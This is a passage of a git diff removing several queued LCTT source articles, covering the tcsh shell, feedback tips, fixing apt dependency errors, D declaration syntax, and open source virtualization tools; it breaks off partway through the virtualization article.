index a11347956a..0000000000 --- a/sources/tech/20200812 Why I still love tcsh after all these years.md +++ /dev/null @@ -1,152 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why I still love tcsh after all these years) -[#]: via: (https://opensource.com/article/20/8/tcsh) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Why I still love tcsh after all these years -====== -Bash may be more popular, but tcsh has advantages that make it more -appealing in certain cases. -![Person programming on a laptop on a building][1] - -I consider myself a happy [Bash][2] user. However, when I started exploring Unix, it was on a proprietary Unix system that provided [tcsh][3] by default, so my earliest shell experiences were on a modern version of the C shell (csh). That turned out to be a fortunate accident because tcsh was also the shell of choice at the film studio where I worked later in my career. - -To this day, there are several tasks I associate with tcsh, even though there's no logical correlation there. I still use tcsh on at least one system, if only to stay in practice. I also keep it installed on all my systems to maintain compatibility with my own tcsh scripts and to ensure I can launch it when I need to write a script I prefer to have in tcsh. - -### The difference between C shell and Bash - -Tcsh is the modern continuation of csh. When the C shell was released way back in 1978, users were excited over its C-like syntax. C was a new programming language at the time, and more importantly, it was what Unix was written in, so most Unix users were more comfortable with C than an arbitrary scripting language. For instance, in Bash, this `if` loop makes a "secret" call to the `test` binary to evaluate the conditional statement (the part in brackets): - - -``` -v=1 - -if [ $v -gt 0 ] -  then -  echo "verbose" -fi -``` - -Here's the same statement in csh or tcsh, without an external call to `test` because the conditional statement (the code in parentheses) uses csh's built-in evaluation: - - -``` -set v=1 - -if ($v > 1) then -  echo "verbose" -endif -``` - -This demonstrates a few things, both good and bad. For instance, it's natural for a C programmer to type a conditional in parentheses, and it's desirable from a programmer's perspective to have math evaluation built into the executable. On the other hand, the `if` loop syntax has more in common with Lua than C, which uses braces as delimiters: - - -``` -// this does not work in Csh -if ( v>1 ) { -        [printf][4]("verbose"); -} -``` - -In a way, this nicely sums up csh: it's clean, efficient, and familiar for some, but quirky and inconsistent. - -So why use it? - -### Tcsh for precision - -I write more C++ and [Java][5] than C code, so my interest in tcsh shares little with its historical claim to fame. However, I enjoy [Lua][6], and in a way, I think of tcsh and other shells like I think of Lua and Python or even Markdown and [Docbook][7]. Both shells have merit, and it's easy to point to the one that's more popular, but there's strict clarity to the other. In fact, I feel tcsh has a precision that many other shells lack. - -### Variables - -You don't get the luxury of typed variables in shells, but with tcsh, you can at least declare them with a keyword. Strangely, there are several keywords you can use for the task, but the one I settled on was `set`: - - -``` -> set var=foo -> echo $var -foo -``` - -You can expand variables by typing the name of the variable (`var` in this example) and then pressing **Ctrl+X** followed by the **$** (dollar) key. The example above sets `var` to `foo`. - -As with many other shells, you can list all set variables using `set` alone with no arguments: - - -``` -> set -term    xterm -tty     pts/2 -uid     1000 -user    seth -var     foo -[...] -``` - -You can unset a variable using the `unset` command: - - -``` -> unset var -> set | grep var -> -``` - -### Missing features is a feature - -Maybe you've seen lines like this in a script: - - -``` -var=GitLab -${var,,} -``` - -The second line is a built-in function to transform the contents of `var` into lowercase. - -While extra functions like these are infinitely useful, I sometimes feel they're an invitation to obfuscation. Shell scripting is like the HTML of programming; it's one of the few serious languages you can teach yourself just by reading other people's code. That's not necessarily a great reason to give up useful functions, but it's the reason I try to avoid some of the cryptic shorthand popular in various languages. When writing in tcsh, I don't have the option to use as much shorthand, so complex string operations must be performed with basic Unix tools rather than by built-in shortcuts. I believe it results in code that's easier to read, and that makes a big difference to future contributors—and to future, forgetful _me_. - -### Built-in math - -One of the things I love about tcsh is its built-in **@** math shortcut. Like most self-taught Unix users, I stumbled upon [bc][8], and I've regretted it ever since. Through no fault of its own, bc is often taught to users as a command-line calculator when it's actually better suited as a calculation _language_. Workarounds include an amazing 300-line [calculator in pure Bash][9], or the **let** command in Bash, or the **@** command in tcsh. - - -``` -> @ n = ( 1 + 1 / 2 ) -> echo $n -1 -``` - -For very complex math, it may be worth [learning bc][10] or a good [Python mathematics library][11]. - -### All the essentials - -For me, tcsh strikes a perfect balance between stark simplicity and essential features. It's not a shell for all users, or even for all purposes, but if you're looking to simplify your view of your text-based world, tcsh might provide an interesting alternative. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/tcsh - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_code_programming_laptop.jpg?itok=ormv35tV (Person programming on a laptop on a building) -[2]: https://opensource.com/resources/what-bash -[3]: https://github.com/tcsh-org/tcsh -[4]: http://www.opengroup.org/onlinepubs/009695399/functions/printf.html -[5]: https://opensource.com/resources/java -[6]: https://opensource.com/article/20/2/lua-cheat-sheet -[7]: https://opensource.com/article/17/9/docbook -[8]: https://www.gnu.org/software/bc/ -[9]: https://raw.githubusercontent.com/bluebat/.bash/master/bashbc.sh -[10]: https://opensource.com/article/20/7/bc -[11]: https://opensource.com/alternatives/matlab diff --git a/sources/tech/20200814 7 tips for giving and receiving better feedback.md b/sources/tech/20200814 7 tips for giving and receiving better feedback.md deleted file mode 100644 index be6dc492df..0000000000 --- a/sources/tech/20200814 7 tips for giving and receiving better feedback.md +++ /dev/null @@ -1,135 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (7 tips for giving and receiving better feedback) -[#]: via: (https://opensource.com/article/20/8/better-feedback) -[#]: author: (Dawn Parzych https://opensource.com/users/dawnparzych) - -7 tips for giving and receiving better feedback -====== -Good feedback is important for growing, learning, and improving. -![Pair programming][1] - -Getting feedback isn't always easy to handle, but we need to hear it to grow and learn. Feedback can take many forms—from formalized feedback in performance reviews to more informal feedback such as: - - * Code reviews - * Peer reviews of writing - * Comments for a speaker - * Recommending revisions to a resume - - - -There is an art to giving, asking for, and receiving feedback in a way that is actionable and helps people improve. To narrow down this topic, I'll focus on feedback related to writing (as that is one of my specialties), but many of these lessons apply to any type of feedback you need to give or receive. - -### Tips for giving feedback - -If you've been asked to give feedback, first, confirm you understand what type of feedback is being requested. The person asking for feedback should provide guidelines for what you should focus on. If you don't know what type of feedback to give, ask. Also, make sure to ask when they need the feedback. If you can't meet their deadline, let them know. Maybe the timeline is flexible. If not, they have the opportunity to find somebody else to help. - -It's OK to say no—a short message declining the request and explaining why is much better than ignoring it and potentially making the person miss their deadline. - -#### Content vs. style - -There are many different ways to write a sentence, and everybody has their own style. Focus on the content of what was said rather than how it was said. Unless you've been explicitly asked to help rewrite an article, don't worry if you would have said something differently. If the correct meaning is conveyed, that is what matters. - -For example, these sentences all say roughly the same thing. - -> A large part of building and operating software is learning what works and what doesn't. -> -> Software engineers spend a great deal of time determining what works and what does not work when building and operating software. -> -> Software engineers expend a considerable amount of time ascertaining the effectiveness and interoperability of software and hardware. - -The "right" version has everything to do with the writer's and the audience's preferred style. - -#### Clarity - -This doesn't mean you shouldn't be concerned about clarity. If something is unclear, speak up. It helps when you provide context about why you found something confusing or vague (again, clarity matters). The writer might not know where you are getting hung up. - -This is unclear feedback: - - * "This is confusing." - * "What do you mean here?" - - - -Better feedback (this is all real feedback I've either given or received recently): - - * "I think this could use a little clarification on what you mean by 'we.'" - * "Do you mean a team with a single project, or do you mean to choose a single team?" - - - -If you have time and it's possible, provide suggestions on how it can be made clearer for you, such as: - - * "On a hasty reading, I initially misinterpreted this as claiming x (whereas obviously, you meant the opposite)." - - - -#### Twice as nice - -Read the entire content at least twice. The first time you read it, don't leave any comments or make any suggestions; just read to see what information is covered. Otherwise, you might suggest that a specific topic should be included—then see it two paragraphs later. - -#### Leave positive feedback - -Often when we give feedback, we focus only on the areas that need improvement. If there is something you like, share that feedback as well. Writers want to know what resonates, as well as what didn't quite hit the mark. What made you laugh or cringe? What did you learn? - -### Tips for getting feedback - -A great way to receive feedback is by asking for it. Here are some suggestions that will help you get feedback that's most useful to you. - -#### Be specific - -When you request feedback, tell your reviewers exactly what you are looking for, including what specific areas you want people to focus on and what not to worry about. - -This request is vague: - -> "Can you please read this and let me know what you think?" - -The reviewer doesn't know if you're asking them to review for technical accuracy, grammar, or something else. I sometimes forget to do this when I ask for feedback, and thankfully, I have a colleague who will follow-up and ask for more context by asking, "What level and depth of review are you looking for?" - -Since I'm trying to get better at giving specifics when asking for feedback, I often leave comments in my articles for my reviewers with questions I have, things I'm struggling with, or areas I think are weak and need improvement. - -Here's a good example from one of my colleagues on asking for specific feedback: - -> "I'd hugely appreciate any comments on this, especially things I have wrong, or over/understate, or other things to include (some of which may be punted to the next version, but hearing them now would still be very useful)." - -#### State your deadline - -Make sure to include a timeframe when you need their feedback. You don't want review cycles dragging on and blocking your progress while you're waiting for feedback. Give reasonable deadlines, and if there is a need for urgency, explain why. You might say: - -> "Can you review this for technical accuracy and readability by the end of the week? Don't worry about grammar. I'll make those edits later." - -Or - -> "Can you provide copy-editing by the end of the day? This needs to be published tomorrow to coincide with our launch." - -#### Decide what to include - -You may not agree with all the feedback you hear. It is up to you as the writer whether to incorporate it or not. I highly encourage you to incorporate feedback that points out blatant errors. The feedback that can be more challenging is differences of opinion, stylistic changes, etc. I often schedule meetings to review the feedback if there are differing viewpoints. Talking can often clarify things faster than writing comments back and forth. - -### Conclusion - -Asking for feedback can trigger [imposter syndrome][2]. That won't necessarily go away, but giving good feedback (even if it is negative feedback) can help a writer overcome that feeling. - -If you're interested in ways to become a better writer, I've previously written about my [writing process][3], which includes multiple feedback loops. - -As a writer, your job is to write content that people enjoy, resonates with your readers, and serves a purpose. As a reviewer, your job is to share what you learned and what was confusing. These tips can help you give and receive better feedback. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/better-feedback - -作者:[Dawn Parzych][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dawnparzych -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/collab-team-pair-programming-code-keyboard.png?itok=kBeRTFL1 (Pair programming) -[2]: https://opensource.com/article/19/11/my-first-open-source-contribution-impostor-syndrome -[3]: https://opensource.com/article/20/5/write-about-open-source-software diff --git a/sources/tech/20200814 Fixing -Unable to correct problems, you have held broken packages- Error in Ubuntu and other Linux Distributions.md b/sources/tech/20200814 Fixing -Unable to correct problems, you have held broken packages- Error in Ubuntu and other Linux Distributions.md deleted file mode 100644 index 4ce4dcf89e..0000000000 --- a/sources/tech/20200814 Fixing -Unable to correct problems, you have held broken packages- Error in Ubuntu and other Linux Distributions.md +++ /dev/null @@ -1,163 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Fixing “Unable to correct problems, you have held broken packages” Error in Ubuntu and other Linux Distributions) -[#]: via: (https://itsfoss.com/held-broken-packages-error/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -Fixing “Unable to correct problems, you have held broken packages” Error in Ubuntu and other Linux Distributions -====== - -While there are [various ways to install applications in Ubuntu][1], I prefer to use the apt command in the terminal for installing software. - -If you do the same, you may come across a dependency error like this: - -``` -Some packages could not be installed. This may mean that you have -requested an impossible situation or if you are using the unstable -distribution that some required packages have not yet been created -or been moved out of Incoming. -The following information may help to resolve the situation: - -The following packages have unmet dependencies: - green-recorder : Depends: python-urllib3 but it is not installable -E: Unable to correct problems, you have held broken packages. -``` - -Usually on It’s FOSS, you’ll find simple and easy to follow solutions to complicated problems. Unfortunately, this one is not that straightforward. - -In this troubleshooting article, I’ll tell you why this error occurs and give some pointers on how to go about solving this issue. - -### Why do you see the “you have held broken packages” error? - -![][2] - -You were trying to install an application package, most probably from a [PPA][3] or third-party repository. - -Applications often need specific versions of libraries and software component (called dependencies). These dependencies may not be part of the application package itself, but they are expected to either be installed on your system already or installed during the installation of the application. - -Your Linux system tries to install these dependencies on its own. But if the dependency package version is not available on your system, it gets confused as it has no way to solve this dependency problem. - -This is why it informs you that the software you were trying to install depends on XYZ but this XYZ cannot be installed. - -Another usecase is when your package can be held is when you try to install two versions of the same software. Say you are installing a specific version of Wine when you have another one installed already. - -### How to go about fixing the “Unable to correct problems, you have held broken packages” error - -You can try a few things to make things work. You need to have some ideas on installing/removing packages in Linux command line to work things out here. - -#### Make sure that your system’s package cache is updated - -First, make sure that local package cache is updated. Your system checks this cache for the available packages. It’s possible (but not certain) that the dependency package is seen by the system after the cache update. - -``` -sudo apt update -``` - -Try installing the troublesome package again and see if it fixes the problem. - -#### Install the dependency - -If you try to install the troublesome package again and it still complains about the same dependency error than perhaps that dependency is not available for distribution version. - -You may [use the apt search command][4] see if you could this library from some other package or name: - -``` -sudo apt search package_name -``` - -If the package is available, is it the same version as requested by the package you were trying to install? - -Try to install the dependency package and see what happens: - -``` -sudo apt install dependency_package -``` - -You may encounter a dependency chain. You try to install dependency A but it complains of B. Then you try installing B and it complains of C. - -It may also happen that when you try to install package C, it is already installed. Check the version of package C. Is it the same version as required by package B? If yes, then removing C and installing it again could help. - -#### Can you get the missing dependency package from some other source? - -If the missing dependency package cannot be found on your system (no results in apt search), you may try to get the dependency package from some place else. I know that’s not very convenient thing to do but you don’t have many options here. - -For example, in the case of installing shutter, it complained about libgoo-canvas-perl and this library is no more available on Ubuntu system. - -``` -sudo apt install shutter -Reading package lists... Done -Building dependency tree -Reading state information... Done -Some packages could not be installed. This may mean that you have -requested an impossible situation or if you are using the unstable -distribution that some required packages have not yet been created -or been moved out of Incoming. -The following information may help to resolve the situation: - -The following packages have unmet dependencies: - shutter : Depends: libgoo-canvas-perl but it is not going to be installed -E: Unable to correct problems, you have held broken packages. -``` - -However, since it was available in the previous versions of Ubuntu, I looked for this package on Ubuntu’s package archive and found it under the listing of Ubuntu 14.04 [here][5]. I downloaded the .DEB file and installed it. - -Now that this dependency package is installed, trying to install the original application (shutter in this case) should not complain about at least this package anymore. - -#### If you cannot find the dependency package anywhere, install the troublesome package from some other source - -So in the example above, I tried to install Green Recorder application using its PPA. This application needs `python-urllib3` library but unfortunately, this library is not available in my Ubuntu 20.04 system. - -``` -[email protected]:~$ apt search python-urllib3 -Sorting... Done -Full Text Search... Done -``` - -Clearly, this is a poorly packaged application. The developer made it available for Ubuntu 20.04 without realizing that Ubuntu 20.04 doesn’t support Python 2 anymore and all the Python libs now start with python3 prefix. So the python-urllib3 should be python3-urllib3. - -If you are in such a situation, maybe check the project’s homepage or search on the internet for an alternate source for installing it. Perhaps there is a Snap/Flatpak version or some user created a PPA for it? If nothing else, you may go with source code option as well. - -#### If you see the held broken package error during update try this - -Most of the discussion so far assumed that you see this error while installing a new application. That may not always be the case. - -If you see this error when you try updating your system with sudo apt update command, then you’ll have to take a slightly different approach. - -First, check which package is being held with this command: - -``` -dpkg --get-selections | grep hold -``` - -If you see some packages being held, remove them and then go on updating your system or installing the software. - -You may also [use Synaptic package manager][6] for fixing the broken packages. - -#### Did you manage to fix the issue? - -As I had mentioned earlier, there is no straightforward fix for this problem. You’ll have to investigate on your own and see if it can be fixed or not. - -Please share in the comments if your problem gets fixed. If not, I may try to help you out. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/held-broken-packages-error/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/remove-install-software-ubuntu/ -[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/08/broken-package-error-ubuntu.png?resize=800%2C450&ssl=1 -[3]: https://itsfoss.com/ppa-guide/ -[4]: https://itsfoss.com/apt-search-command/ -[5]: https://launchpad.net/ubuntu/+source/libgoo-canvas-perl -[6]: https://itsfoss.com/synaptic-package-manager/ diff --git a/sources/tech/20200818 D Declarations for C and C-- Programmers.md b/sources/tech/20200818 D Declarations for C and C-- Programmers.md deleted file mode 100644 index 236458f193..0000000000 --- a/sources/tech/20200818 D Declarations for C and C-- Programmers.md +++ /dev/null @@ -1,310 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (D Declarations for C and C++ Programmers) -[#]: via: (https://theartofmachinery.com/2020/08/18/d_declarations_for_c_programmers.html) -[#]: author: (Simon Arneaud https://theartofmachinery.com) - -D Declarations for C and C++ Programmers -====== - -Because D was originally created by a C++ compiler writer, Walter Bright, [it’s an easy language for C and C++ programmers to learn][1], but there are little differences in the way declarations work. I learned them piecemeal in different places, but I’m going to dump a bunch in this one post. - -### `char* p` - -If you want to declare a pointer in C, both of the following work: - -``` -char *p; -char* p; -``` - -Some people prefer the second form because it puts all the type information to one side. At least, that’s what it looks like. Trouble is, you can fall into this trap: - -``` -char* p, q; // Gotcha! p is a pointer to a char, and q is a char in C -``` - -“Type information on the left” isn’t really how C works. D, on the other hand, _does_ put all the type information to the left, so this works the way it appears: - -``` -char* p, q; // Both p and q are of type char* in D -``` - -D also accepts the `char *p` syntax, but the rule I go by is `char *p` when writing C, and `char* p` when writing D, just because that matches how the languages actually work, so no gotchas. - -### Digression: how C declarations work - -This isn’t about D, but helps to make sense of the subtler differences between C and D declarations. - -C declarations are implicit about types. `char *p` doesn’t really say, “`p` is of type `char*`”; it says “the type of `p` is such that `*p` evaluates to a `char`”. Likewise: - -``` -int a[8]; // a[i] evaluates to an int (=> a is an array of ints) -int (*f)(double); // (*f)(0.5) evaluates to an int (=> f is a pointer to a function taking a double, returning an int) -``` - -There’s a kind of theoretical elegance to this implicit approach, but 1) it’s backwards and makes complex types confusing, 2) the theoretical elegance only goes so far because everything’s a special case. For example, `int a[8];` declares an array `a`, but makes the expression `a[8]` undefined. You can only use certain operations, so `int 2*a;` doesn’t work, and neither does `double 1.0 + sin(x);`. The expression `4[a]` is equivalent to `a[4]`, but you can’t declare an array with `int 4[a];`. C++ gave up on the theory when it introduced reference syntax like `int &x;`. - -### `function` and `delegate` - -D has a special `function` keyword for declaring function pointers using the “type information on the left” approach. It makes the declaration of function pointers use the same syntax as the declaration of a function: - -``` -int foo(); -int[] bar(); - -int function() foo_p = &foo; -int[] function() bar_p = &bar; -``` - -Note that the `&` is _required_ to get the address of a function in D (unlike in C and C++). If you want to have an array of pointers, you just add `[]` to the end of the type, just like you do with any other type. Similarly for making pointers to types: - -``` -int function()[] foo_pa = [&foo]; -int function()* foo_pp = &foo_p; -int function()[]* foo_pap = &foo_pa; -``` - -Here’s the C equivalent for comparison: - -``` -int (*foo_p)() = &foo; -int (*foo_pa[])() = {&foo}; -int (**foo_pp)() = &foo_p; -int (*(*foo_pap)[])() = &foo_pa; -``` - -It’s rare to need these complicated types, but the logic for the D declarations is much simpler. - -There’s also the `delegate` keyword, which works in exactly the same way for [“fat function pointers”][2]. - -### Arrays - -The most obvious difference from C is that D uses the “type information on the left” approach: - -``` -// int a[8]; is an error in D -int[8] a; -``` - -Another difference is in the order of indices for multidimensional arrays. E.g., this C code: - -``` -int a[4][64]; -``` - -translates to this in D: - -``` -int[64][4] a; -``` - -Here’s the rule for understanding the D ordering: - -``` -T[4] a; -static assert (is(typeof(a[0]) == T)); -``` - -If `T` represents a type, then `T[4]` is always an array of 4 `T`s. Sounds obvious, but it means that if `T` is `int[64]`, `int[64][4]` must be an array of 4 `int[64]`s. - -### `auto` - -C had `auto` as a storage class keyword since the early days, but it got mostly forgotten because it’s only allowed in the one place it’s the default, anyway. (It effectively means “this variable goes on the stack”.) C++ repurposed the keyword to enable automatic type deduction. - -You can also use `auto` with automatic type deduction in D, but it’s not actually required. Type deduction is always enabled in D; you just need to make your declaration unambiguously a type declaration. For example, these work in D (but not all in C++): - -``` -auto x1 = 42; -const x2 = 42; -static x3 = 42; -``` - -### No need for forward declarations at global scope - -This code works: - -``` -// Legal, but not required in D -// void bar(); - -void foo() -{ - bar(); -} - -void bar() -{ - // ... -} -``` - -Similarly for structs and classes. Order of definition doesn’t matter, and forward declarations aren’t required. - -Order does matter in local scope, though: - -``` -void foo() -{ - // Error! - bar(); - - void bar() - { - // ... - } -} -``` - -Either the definition of `bar()` needs to be put before its usage, or `bar()` needs a forward declaration. - -### `const()` - -The `const` keyword in C declarations can be confusing. (Think `const int *p` vs `int const *p` vs `const int const *p`.) D supports the same syntax, but also allows `const` with parentheses: - -``` -// non-constant pointer to constant int -const(int)* p1; -// constant pointer to constant int -const(int*) p2; -``` - -[`const` is transitive in D][3], anyway, and this syntax makes it much clearer. The same parenthetical syntax works with `immutable`, too. Although C-style syntax is supported by D, I always prefer the parenthetical style for a few more reasons. - -### `ref` - -`ref` is the D alternative to C++’s references. In D, `ref` doesn’t create a new type, it just controls how the instance of the type is stored in memory (i.e, it’s a storage class). C++ acts as if references are types, but references have so many special restrictions that they’re effectively like a complex version of a storage class (in Walter’s words, C++ references try to be both a floor wax and dessert topping). For example, C++ treats `int&` like a type, but forbids declaring an array of `int&`. - -As a former C++ programmer, I used to write D function arguments like this: - -``` -void foo(const ref S s); -``` - -Now I write them like this: - -``` -void foo(ref const(S) s); -``` - -The difference becomes more obvious with more complex types. Treating `ref` like a storage class ends up being cleaner because that’s the way it actually is in D. - -Currently `ref` is only supported with function arguments or `foreach` loop variables, so you can’t declare a regular local variable to be `ref`. - -### Function qualifiers - -D’s backward-compatible support for the C-style `const` keyword creates an unfortunate gotcha: - -``` -struct S -{ - // Confusing! - const int* foo() - { - // ... - } -} -``` - -`foo()` doesn’t return a `const int*`. The `const` applies to the `foo()` member function itself, meaning that it works on `const` instances of `S` and returns a (non-`const`) `int*`. To avoid that trap, I always use the D-style `const()` syntax, and write member function qualifiers on the right: - -``` -struct S -{ - const(int)* foo() - { - // ... - } - - int* bar() const - { - // ... - } -} -``` - -### Syntax ambiguities - -C++ allows initialising struct and class instances without an `=` sign: - -``` -S s(42); -``` - -This syntax famously leads to ambiguities with function declaration syntax in special cases (Scott Meyers’ “most vexing parse”). [People like Herb Sutter have written enough about it.][4] D only supports initialisation with `=`: - -``` -S s = S(42); -// Alternatively: -auto s = S(42); -``` - -C syntax has some weird corners, too. Here’s a simple one: - -``` -x*y; -``` - -That looks like a useless multiplication between two variables, but logically it could be a declaration of `y` as a pointer to a type `x`. Expression and declaration are totally different parses that depend on what the symbol `x` means in this scope. (Even worse, if it’s a declaration, then the new `y` could shadow an existing `y`, which could affect later parses.) So C compilers need to track symbols in a symbol table while parsing, which is why C has forward declarations in practice. - -D sidesteps the ambiguity by requiring a typecast to `void` if you really want to write an arithmetic expression without assigning it to anything: - -``` -int x, y; -cast(void)(x*y); -``` - -I’ve never seen useful code do that, but that rule helps D parse simply without forward declarations. - -Here’s another quirk of C syntax. Remember that C declarations work by having a basic type on the left, followed by expressions that evaluate to that type? C allows parentheses in those expressions, and doesn’t care about whitespace as long as symbols don’t run together. That means these two declarations are equivalent: - -``` -int x; -int(x); -``` - -But what if, instead of `int`, we use some symbol that might be a typedef? - -``` -int main() -{ - // Is this a declaration of x, or a function call? - t(x); -} -``` - -Just for fun, we can exploit shadowing and C’s archaic type rules: - -``` -typedef (*x)(); -main() -{ - x(x); - x(x); -} -``` - -The first line makes `x` a typedef to a function pointer type. The first `x(x);` redeclares `x` to be a function pointer variable, shadowing the typedef. The second `x(x);` is a function call that passes `x` as an argument. Yes, this code actually compiles, but it’s undefined behaviour because the function pointer is dereferenced without being initialised. - -D avoids this chaos thanks to its “all type information on the left” rule. There’s no need to put parentheses around symbols in declarations, so `x(y);` is always a function call. - --------------------------------------------------------------------------------- - -via: https://theartofmachinery.com/2020/08/18/d_declarations_for_c_programmers.html - -作者:[Simon Arneaud][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://theartofmachinery.com -[b]: https://github.com/lujun9972 -[1]: https://ddili.org/ders/d.en/index.html -[2]: https://tour.dlang.org/tour/en/basics/delegates -[3]: https://dlang.org/articles/const-faq.html#transitive-const -[4]: https://herbsutter.com/2013/05/09/gotw-1-solution/ diff --git a/sources/tech/20200825 6 open source virtualization technologies to know in 2020.md b/sources/tech/20200825 6 open source virtualization technologies to know in 2020.md deleted file mode 100644 index 445ac74641..0000000000 --- a/sources/tech/20200825 6 open source virtualization technologies to know in 2020.md +++ /dev/null @@ -1,177 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (6 open source virtualization technologies to know in 2020) -[#]: via: (https://opensource.com/article/20/8/virt-tools) -[#]: author: (Bryant Son https://opensource.com/users/brson) - -6 open source virtualization technologies to know in 2020 -====== -Run, customize, and manage your VMs with open source Virt Tools. Plus -get a glossary of key virtualization terms. -![What is virtualization][1] - -Virtualization Tools, better known as [Virt Tools][2], is a collection of six open source virtualization tools created by various contributors to make the virtualization world a better place. - -![Virt Tools website][3] - -(Bryant Son, [CC BY-SA 4.0][4]) - -Some of the tools, like KVM and QEMU, might be familiar to Linux enthusiasts, but tools like libvirt and libguestfs are probably less so. - -In case you prefer to learn through watching videos than reading, I created a [video version][5] of this article, which you can access on YouTube. - -Before walking through the tools, it's a good idea to know some essential [virtualization][6] terminology. I derived many of these definitions from Wikipedia, with pages linked in the table. - -Term | Definition ----|--- -[Virtualization][7] | In computing, virtualization refers to the act of creating a virtual (rather than physical) version of something, including virtual computer hardware platforms, storage devices, and computer network resources. -[Emulator][8] | An emulator is a hardware or software that enables one computer system (called the host) to behave like another computer system (called the guest). -[Virtual machine (VM)][9] | Also known as a "guest machine," these are emulations of real, physical hardware computers. -Hosts | In [hardware virtualization][10], a computer on which a hypervisor runs one or more VMs. -[Hypervisor][11] | This is computer software, firmware, or hardware that creates and runs a VMs. -[Kernel][12] | This is a computer program at the core of a computer's operating system with complete control over everything in the system. -[Daemon][13] | This is a computer program that runs as a background process, rather than under the direct control of an interactive user. - -This table summarizes each Virt Tool, including license information and links to each tool's website and source code. Much of this information comes from the Virt Tools website and each tool's site. - -Name | What It Is | License | Source Code ----|---|---|--- -[Kernel-based Virtual Machine (KVM)][14] | A virtualization module in the Linux kernel that allows the kernel to function as a hypervisor | GNU GPL or LGPL | [Source code][15] -[Quick Emulator (QEMU)][16] | A generic and open source machine emulator and virtualizer | GPLv2 | [Source code][17] -[Libvirt][18] | A library and daemon providing a stable, open source API for managing virtualization hosts | GNU | [Source code][19] -[Libguestfs][20] | A set of tools for accessing and modifying VM disk images | LGPL, GPL | [Source code][21] -[Virt-manager][22] | A desktop user interface for managing VMs through libvirt | GPLv2+ | [Source code][23] -[Libosinfo][24] | Provides a database of information about operating system releases to assist in optimally configuring hardware when deploying VMs | LGPLv2+ | [Source code][25] - -### Kernel-based Virtual Manager (KVM) - -![KVM website][26] - -(Bryant Son, [CC BY-SA 4.0][4]) - -KVM is a full virtualization solution for Linux on hardware containing virtualization extensions. KVM provides the hardware virtualization for a wide variety of guest operating systems, including Linux, Windows, macOS, ReactOS, and Haiku. Using KVM, you can run multiple VMs on unmodified Linux or Windows images. Each VM has private virtualized hardware: a network card, disk, graphics adapter, etc. - -Most of the time, you won't directly interact with KVM. Instead, you must use QEMU, virt-manager, or another virtualization management tool to leverage KVM. - -You can find full [documentation][27] on the KVM website, as well as access its [source code][15]. - -### Quick Emulator (QEMU) - -![QEMU website][28] - -(Bryant Son, [CC BY-SA 4.0][4]) - -QEMU is a generic, open source machine emulator and virtualizer. When used as an emulator, QEMU can run operating systems and programs made for one machine (e.g., an ARM board) on a different machine (e.g., your own x86_64 PC). When used as a virtualizer, QEMU achieves near-native performance by executing the guest code directly on the host CPU using KVM. - -QEMU is supported on multiple operating systems, and its installation process is as easy as running a few simple commands; here, you can see how to install QEMU on macOS with [Homebrew][29]. - -![QEMU macOS installation info][30] - -(Bryant Son, [CC BY-SA 4.0][4]) - -After installing, learn how to use it by reading through its [documentation][31], and you can also access its [source code][17]. - -### Libvirt - -![Libvirt website][32] - -(Bryant Son, [CC BY-SA 4.0][4]) - -Libvirt is a library and daemon that provides a stable open source API for managing virtualization hosts. It targets multiple hypervisors, including QEMU, KVM, LXC, Xen, OpenVZ, VMWare ESX, VirtualBox, and more. - -Another interesting thing about libvirt is that [KubeVirt][33], an open source project for creating and managing VMs inside the Kubernetes platform, largely utilizes Libvirt. (I'll cover KubeVirt in a future article.) Libvirt is an interesting project to explore, and you can find a plethora of information on its official [website][18] as well as download its [source code][21]. - -### Libguestfs - -![Libguestfs website][34] - -(Bryant Son, [CC BY-SA 4.0][4]) - -Libguestfs is a set of tools for accessing and modifying VM disk images. You can use it for viewing and editing files inside guests; scripting changes to VMs; monitoring disk used/free statistics; creating guests, physical to virtual (P2V), or virtual to virtual (V2V) machines; performing backups; cloning VMs; building VMs; formatting disks; resizing disks; and much more. I have been using it recently while working on a KubeVirt-based project called [OpenShift Virtualization][35], which you can learn more about in my [video tutorial][36]. - -Libguestfs' official [website][20] contains extensive documentation on how to use each command, and you can also download its [source code][21] on GitHub. - -### Virt-manager - 